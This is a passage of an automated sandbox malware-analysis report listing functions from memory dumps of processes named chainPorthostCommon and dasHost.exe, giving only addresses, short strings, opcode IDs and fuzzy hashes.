Opcode Fuzzy Hash: a58340c3322743aa5ba9531f6b7237c98a34d113af03d87a119a50c90cc7bce5
Instruction Fuzzy Hash: 7091E175A19A898FE799EB6C88697E97BE1FB96704F0400BBC049D73D2CE7A18118700

Function 00007FFD343D0E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f527abea01afb0180500d0a850457c0b50ee8e4263963a447dddd301c05ea08
Instruction ID: 2a8a84b351509d33d20664a7f9559c9387ea06b26ea1daba9d9d19267e72e792
Opcode Fuzzy Hash: 6f527abea01afb0180500d0a850457c0b50ee8e4263963a447dddd301c05ea08
Instruction Fuzzy Hash: F051BF75A18A898FE798EB5CC4A97E87BE1FB9A714F5001BFD00DD73D1CABA18118300

Function 00007FFD343D08D0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: d013718ad696f2365d04b02fb5ea9275bc0986e1b062273218a15fc12a5e8a28
Instruction ID: 6d63a5784e79cc32ce1432c9ec6083d30d64f4db71bd77c611126799aafce66e
Opcode Fuzzy Hash: d013718ad696f2365d04b02fb5ea9275bc0986e1b062273218a15fc12a5e8a28
Instruction Fuzzy Hash: 54413812B0D6660EE715F7BC70B52F977A4EF8A339B1444BBD14DC7193CE2DA8818280

Function 00007FFD343D0960 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 14d4403ba067f7e542ed3a4df27ae531d3cfde44d5ae4a9a03ec6a2a3b4338ea
Instruction ID: a0e43faef8dc37034b7b5225500b8f886400425d81204a5c7ca3230a810359b6
Opcode Fuzzy Hash: 14d4403ba067f7e542ed3a4df27ae531d3cfde44d5ae4a9a03ec6a2a3b4338ea
Instruction Fuzzy Hash: 0B31F611B1DA190FE765F7AC64A66F973D5EF8A325B1440BBE40DC32D3CD2EAC814284

Function 00007FFD343D0998 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 6caf821b68403ca1bc48f1e05c6ee12d2922c3af705598f4c641cb21f069fffe
Instruction ID: c55d20fd1fdd36dc4e40024509051d2ac600fa2812d81a42b0feece6c9ba1e99
Opcode Fuzzy Hash: 6caf821b68403ca1bc48f1e05c6ee12d2922c3af705598f4c641cb21f069fffe
Instruction Fuzzy Hash: 16210420B299590FE794F66C54A97B972C6EB8A325F0040BDE44EC32E7DD3DAC418280

Function 00007FFD343E3DE9 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD343E3E06

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343e0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: ab65acad9aec187ac3e6e1a67ad27cb408134d92844bcf623b45e02842c7a50c
Instruction ID: f52236e94501e7cb9bef994fde4d4600f3bac728d3cb446bbea5248059baafc3
Opcode Fuzzy Hash: ab65acad9aec187ac3e6e1a67ad27cb408134d92844bcf623b45e02842c7a50c
Instruction Fuzzy Hash: 6EF0657194F3C14FCB5AAA3588694557F60EF6720174A51EEC085CF1E3DA2DDC85C701

Function 00007FFD343E4275 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343e0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e43a658053c005a6e9cbb09285e09ad7ff22df099ae676debbca4cf4b2bc36c9
Instruction ID: 370b834a0c8e62fa249b38284a64a019eecf015ba31fd61cb4084edeee02201e
Opcode Fuzzy Hash: e43a658053c005a6e9cbb09285e09ad7ff22df099ae676debbca4cf4b2bc36c9
Instruction Fuzzy Hash: 8621BD32F0851F8AEB54EB88D8A56BF77E2FF65300F04063AC219D7281CF7968819780

Function 00007FFD343D0C25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction ID: 24eda12cd9a6022ea02aa2f8bf9272e9b29073fb4f36e0cb2ed3e6b450d99e4f
Opcode Fuzzy Hash: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction Fuzzy Hash: 21210135B0E2898FE712EB2888A51DC7FB0EF83329F1445B7C280DF192D5391A4AA741

Function 00007FFD343D108D Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd19e0e689dc75a8c5eb143c6218bc82c2bce5b9c5bed1ff9760fae14a5e9d3d
Instruction ID: f203a777d6f9c8da2385a50af86ee512d2eb20068db306faf56c1d619b59669a
Opcode Fuzzy Hash: fd19e0e689dc75a8c5eb143c6218bc82c2bce5b9c5bed1ff9760fae14a5e9d3d
Instruction Fuzzy Hash: 9E012611A8E6D10FEB26A7B14CB15A23FD4CF8722070902FAD189CB5A3CC5E5C868352

Function 00007FFD343D0C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction ID: 3f96e98a21404424cbaacd5540ac77989398d89523c784de7e1146948ce8a7b1
Opcode Fuzzy Hash: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction Fuzzy Hash: D111CE35B0E7888FE702EB2898A42DD7FB0EF83319F1544B7C284DF292D5391A499780

Function 00007FFD343D0C40 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b5af8b14389f6b2f348cb39dc5740f57e578ee045d4c683d3caf629a47149b
Instruction ID: 6541a784fb46a1b52f8c29ef641667630fa5a2dcfa7baf3616abb2f26d24beba
Opcode Fuzzy Hash: e5b5af8b14389f6b2f348cb39dc5740f57e578ee045d4c683d3caf629a47149b
Instruction Fuzzy Hash: 1001AD35A0E7888FE702EB2884A42DD7FB0EF43314F1545EAC180DB292D5395A489B80

Function 00007FFD343D5EF1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction ID: 9baded12b1604edbc2eb12ceec086a47201f661f8c663b4e58f9a3816c87e6f6
Opcode Fuzzy Hash: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction Fuzzy Hash: CE012120E9D91D4AE7A5B61888B57BC61A1EF4B700F5001B5D91DE3292ED3E6D44A740

Function 00007FFD343D5F11 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction ID: 7dddf225c71f9e7a0ec9b22fc1032d6338144fc44058bdbccf12c89b7a2c25cf
Opcode Fuzzy Hash: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction Fuzzy Hash: 57016D30A9D40E8AEBA8BA04D8A5BF872A5EF16300F5001B9D90ED31A1EE3D29C55A41

Function 00007FFD343D0C48 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction ID: b138bdf6ada42a5344b5108d1015447a0bf97a31047aad3af935477e2d8f3502
Opcode Fuzzy Hash: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction Fuzzy Hash: C5015E35A0E7888FD712EB68C8941DDBFB0AF43314F1545EAC580DB1A2D5395A48D781

Function 00007FFD343D171D Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a96deac0bd4955494dc3d168b56832fbc6f55d268f1912c6cad2976de6fede
Instruction ID: 78b813822bb6fb3480f407154d56933906b57fab519dfd86370db21264ddac0f
Opcode Fuzzy Hash: 12a96deac0bd4955494dc3d168b56832fbc6f55d268f1912c6cad2976de6fede
Instruction Fuzzy Hash: BAF02B22F4D40A4BFB64F608C8A52EC3396EB92310F404672D40DC72D6DE2DAD0283C1

Function 00007FFD343E42CD Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343e0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 207583732827f6a3a1f66e9360fcd2f2ff36c77d9eabd6f2b1edb0f72f678954
Instruction ID: db103ba5039d5a470d1f43855e6d620f906150c248cf2f298c1f7987f6d81355
Opcode Fuzzy Hash: 207583732827f6a3a1f66e9360fcd2f2ff36c77d9eabd6f2b1edb0f72f678954
Instruction Fuzzy Hash: 48F08132F4951E8FEB58EA44C8A54BE73A2FB69310B04063AC11AD7290DF7868408740

Function 00007FFD343D0C50 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8829bf4592e40ae3b4fada442c1efe27b7aec2c3418eee2fc3db957c814b10c
Instruction ID: 220322e8e1aa441e93854d38f7731614a4ebb86235473affcf0ae8e436dd0677
Opcode Fuzzy Hash: a8829bf4592e40ae3b4fada442c1efe27b7aec2c3418eee2fc3db957c814b10c
Instruction Fuzzy Hash: B9018F34A0E3888FE712EB6484941DDBFF0AF03308F1441EAC580DB192D9395A48C741

Function 00007FFD343D0B87 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction ID: 1024ff713126171387a3fc8aeef8a02c854a77d489bb69c09cd9b6fa1afbf811
Opcode Fuzzy Hash: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction Fuzzy Hash: 01E07D3232D94E4FDF02FB3CDC974A83B50EB8B21078700FAD108CB0A2C212684E8B01

Function 00007FFD343D10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcb193c1b6e89f5db3a3d7d76a35bba0847c82d888d99b4f252ddf5c9b5a5123
Instruction ID: ce211291804ac80c6a14dc8e1c1d06f4e61a86c359b9cd18b7606fcdcaff5981
Opcode Fuzzy Hash: fcb193c1b6e89f5db3a3d7d76a35bba0847c82d888d99b4f252ddf5c9b5a5123
Instruction Fuzzy Hash: D7E08621B5C8590BEB7CB6B568B16B17280DB46315B0541BAD41AD26C6DC5E5C814281

Function 00007FFD343E5518 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343e0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb093ff02a71e26105fccf7503ed6f1ae4011e19121ff59a0269e74ada4076c
Instruction ID: 4640bb846717c77e64037ae798f4c740fb56b9dcadbfe4fc94d7acd97375bf17
Opcode Fuzzy Hash: 5fb093ff02a71e26105fccf7503ed6f1ae4011e19121ff59a0269e74ada4076c
Instruction Fuzzy Hash: B5D05E30B609094B8B0CB62D8458430F3D1E7AA6067945278D44BC3285ED2AECC68B80

Function 00007FFD343D4265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction ID: c3574f17ea6472ccfd9d5795fce2fde2abe249d1d78e15150e0c03fe877680af
Opcode Fuzzy Hash: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction Fuzzy Hash: 97E01A70F4911A4BFBA8B248D8E13F96264EF8A304F145078DB6ED33C5DD3DAD409605

Function 00007FFD343E3E00 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343e0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FFD343E4BD7 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343e0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18652c7a7e1e5c6faaa405073d46f2ae8ec14b86f43d5acdc76515fa78c7179a
Instruction ID: 07d9137669ff819bbfef3455231f0d6bd9c63b4847d5cabdd0a3aaa4c5b20c5f
Opcode Fuzzy Hash: 18652c7a7e1e5c6faaa405073d46f2ae8ec14b86f43d5acdc76515fa78c7179a
Instruction Fuzzy Hash: B0D05B21B4D91747E645FA045CE077B2161EF19300F140074D64FC31C2CD3CE8427601

Function 00007FFD343D06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction ID: 3048f9248019bea7b6f186f8c5423cf2b2eab0437b84f9e769dd21ee3450d732
Opcode Fuzzy Hash: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction Fuzzy Hash: 16C08C00FCB58B00B400316E18E60ECA120DBC7A28FD00032D30CD20959C3F20C5214A

Function 00007FFD343D12D8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction ID: f2c7580b359e954caa7700577bdda0318b4c9fe2d3013718838c153da6db0bf5
Opcode Fuzzy Hash: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction Fuzzy Hash: 3DC04C345558098FC948FB2DC99591477A0FB1A215BD50190E409C7171D66ADCD5D741

Function 00007FFD343D06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction ID: 735aa1df858eb5aeddf2c33aa0c7ee299a1304de0fead9086c4a11b781a4167b
Opcode Fuzzy Hash: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction Fuzzy Hash: 26B01200DD748F00A40431BA08D60A47050AB47104FC00070D60CC1089987F10942242

Non-executed Functions

Function 00007FFD343D09B0 Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FFD343D0B46
!k9, xrefs: 00007FFD343D0B4E
#{9, xrefs: 00007FFD343D0B3E
c9, xrefs: 00007FFD343D0B56

Memory Dump Source

Source File: 00000017.00000002.3034614781.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd343d0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 86621e1fde3edf3ffc71cc49db4154185685da0f32ebebede09d868d991338ff
Instruction ID: ea701b244c41a3dadb844275df2aec8f17d56ebb99556ec92d02f40348e8dd15
Opcode Fuzzy Hash: 86621e1fde3edf3ffc71cc49db4154185685da0f32ebebede09d868d991338ff
Instruction Fuzzy Hash: 0151A007B0E56345E32233FD70611EE6BA8DF8233AB584677E24CDB0834D1A65C682E5

Analysis Process: dasHost.exePID: 5872, Parent PID: 4004COMMON

Executed Functions

Function 00007FFD343D0D48 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

5[_H, xrefs: 00007FFD343D0DF3

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: 5[_H
API String ID: 0-3279724263
Opcode ID: 4c231d2bf409d1083167b98ea5f4977a06f1cdd58692b70c2abfbd42d2ec2071
Instruction ID: 3ec9e0e90530b7ec7474b846498a33f8e59a995f02f92a3235f395772c384738
Opcode Fuzzy Hash: 4c231d2bf409d1083167b98ea5f4977a06f1cdd58692b70c2abfbd42d2ec2071
Instruction Fuzzy Hash: AA91D4B5A19A894FE759EB6C88757E9BFE1FB9A310F0401BBC04AD72D2CA791811C700

Function 00007FFD343D0E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88f354738b944caafc734ce5c03a2f3c125c89ea8d0ffde1f299de69fd9c5d66
Instruction ID: f1127750de94ef1a56e1185f064dc86c1a3202a85fb1386c2b8f3987e272d4ea
Opcode Fuzzy Hash: 88f354738b944caafc734ce5c03a2f3c125c89ea8d0ffde1f299de69fd9c5d66
Instruction Fuzzy Hash: 7651D0B6B19A4D8BE798DB5C84653E9BFE1FB9A324F54017EC00ED7791CAB91811C300

Function 00007FFD343D08D0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 411d86c1bfb946d734567938dcbbefb9b2015b4658ac4557d5aea9a35dd82040
Instruction ID: a14a72318c7ec76315454ec4e5efe4a62258776237d7ec86b4029b4208569d4a
Opcode Fuzzy Hash: 411d86c1bfb946d734567938dcbbefb9b2015b4658ac4557d5aea9a35dd82040
Instruction Fuzzy Hash: D5415A12B4E6650EE715B7BC60B52F977A0EF8A335B1444BBD14DC7193CE2EA8818280

Function 00007FFD343D0960 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 00b3e42036dbdc8d9126ac2013830192ec52013f3a263be00984c0b8d4492d34
Instruction ID: a56b534c8b551947b2a72a8b10a0e57ecbdcfe691d3aad1a9345f8ef3d68b98a
Opcode Fuzzy Hash: 00b3e42036dbdc8d9126ac2013830192ec52013f3a263be00984c0b8d4492d34
Instruction Fuzzy Hash: 7431F511B5DA190BE764B7AC64A66F973D5EF8A325F14447AE40DC3193CD2EA8814280

Function 00007FFD343D0998 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: df39afef0823d02d18d1a163114300de07c630b62e184ae91941129eb9d3260d
Instruction ID: 3845c1f0c983a831089d96379248e9cd326c1c35aac3c2eaa51b999006eb21b9
Opcode Fuzzy Hash: df39afef0823d02d18d1a163114300de07c630b62e184ae91941129eb9d3260d
Instruction Fuzzy Hash: EE210620B5E9590FE758F76C94A96BA76D1EB8E321F0400BDE50EC32A3DD3DAC418340

Function 00007FFD343E3E79 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD343E3E96

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343e0000_dasHost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: e48cee1027e4841cd7602fc842a062a82e6595f5f54977bb866b62b32c35afe8
Instruction ID: ac234ff9dbf8d27131357c6d54bdfd49a1db4cf95054320098e49e93c8bd06fc
Opcode Fuzzy Hash: e48cee1027e4841cd7602fc842a062a82e6595f5f54977bb866b62b32c35afe8
Instruction Fuzzy Hash: CFE0127194B3C04FCB49EB3584A58957F60EF6721078E50EEC145CF1A3D62DD889C701

Function 00007FFD343D1171 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343d0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef215402e1e86f29e70935aa36f7b35429288cad16b5c91567dc0ee189e92fd1
Instruction ID: be35c329a25de28fb6bffa370a1d67d050df2c2ce259af4d6516cd5208a135db
Opcode Fuzzy Hash: ef215402e1e86f29e70935aa36f7b35429288cad16b5c91567dc0ee189e92fd1
Instruction Fuzzy Hash: 5E31A431A0D68A8FDF46EB64C8A59A97BF0FF5B310B0805BBC009D71A3DA3DA845C751

Function 00007FFD343E4275 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3289812560.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd343e0000_dasHost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a3d4a8cb6b01cbd010a4e1143d644816fa0991be4ca169069b2ba15371c8f90
Instruction ID: 16730eecb014001220e6d03103163e549e39bf20a6326f1ee845c9ce7bffd559
Opcode Fuzzy Hash: 2a3d4a8cb6b01cbd010a4e1143d644816fa0991be4ca169069b2ba15371c8f90
